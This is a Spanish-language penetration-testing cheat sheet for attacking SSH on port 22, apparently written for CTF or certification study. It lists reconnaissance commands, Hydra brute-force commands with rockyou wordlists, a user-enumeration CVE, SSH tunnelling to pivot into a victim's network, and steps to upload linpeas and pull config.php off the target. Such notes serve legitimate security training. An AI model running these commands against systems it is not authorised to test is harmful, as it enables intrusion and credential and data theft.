Skip to content

SSH (Secure Shell) - Puerto 22

Protocolo de administración remota segura. Es la puerta de entrada más común a sistemas Linux.

Quick Wins

Comando de Reconocimiento Rápido:

bash
nmap -p22 -sC -sV -oN nmap_ssh <IP>

Banner Grabbing:

bash
nc -nv <IP> 22

🧭 Brújula de Decisión

Selecciona tu situación actual para ver los pasos recomendados.

🔐 Caso A: Tengo Credenciales (Usuario y Contraseña/Key)

Si ya has conseguido credenciales válidas (por fuerza bruta, filtraciones, o reutilización).

  1. Conexión Estándar:

    bash
    ssh usuario@<IP>
  2. Conexión con Llave Privada (id_rsa):

    • Asegúrate de los permisos correctos: chmod 600 id_rsa
    bash
    ssh -i id_rsa usuario@<IP>
  3. ¿Errores de Algoritmo? (Legacy SSH): Si recibes errores como no matching key exchange method found, intenta forzar algoritmos antiguos:

    bash
    ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc usuario@<IP>

👤 Caso B: Solo tengo un Usuario (Sin contraseña)

Sabes que el usuario admin o root existe, pero no tienes la clave.

  1. Fuerza Bruta Dirigida (Hydra):

    • Es ruidoso, pero efectivo si la contraseña es débil.
    bash
    hydra -l <USUARIO> -P /usr/share/wordlists/rockyou.txt ssh://<IP> -t 4
  2. Fuerza Bruta de Llaves SSH:

    • A veces se dejan llaves por defecto o predecibles.
    • Herramienta sugerida: Metasploit scanner/ssh/ssh_login_pubkey.

⬛ Caso C: No tengo nada (Black Box)

Solo ves el puerto 22 abierto y no tienes usuarios ni claves.

  1. Enumeración de Usuarios:

    • Algunas versiones de OpenSSH permiten enumerar usuarios por diferencias en el tiempo de respuesta.
    • Script: searchsploit openssh user enumeration
    • CVE-2018-15473 (OpenSSH < 7.7).
  2. Vulnerabilidades de Versión:

    • Revisa el banner exacto obtenido con nmap o nc.
    • Busca en Google: OpenSSH X.Y exploit.
  3. Fuerza Bruta Total (Último recurso):

    • Intentar adivinar usuario Y contraseña. Muy lento.
    bash
    hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt ssh://<IP> -t 4

🛠️ Arsenal y Trucos

SSH Tunneling (Pivoting)

Una vez dentro, usa SSH para acceder a redes internas.

  • Local Port Forwarding (Traer un servicio remoto a mi máquina):

    • Quiero ver el puerto 8080 de la víctima en mi localhost:8080.
    bash
    ssh -L 8080:127.0.0.1:8080 usuario@<IP>
  • Dynamic Port Forwarding (Proxy SOCKS):

    • Crear un proxy en mi puerto 1080 para navegar por toda la red de la víctima.
    bash
    ssh -D 1080 usuario@<IP>
    # Luego configura proxychains para usar 127.0.0.1:1080

Transferencia de Archivos (SCP)

  • Subir archivo:
    bash
    scp linpeas.sh usuario@<IP>:/tmp/
  • Descargar archivo:
    bash
    scp usuario@<IP>:/var/www/html/config.php .

Sin copyright ni nada. Ház lo que quieras con todo esto.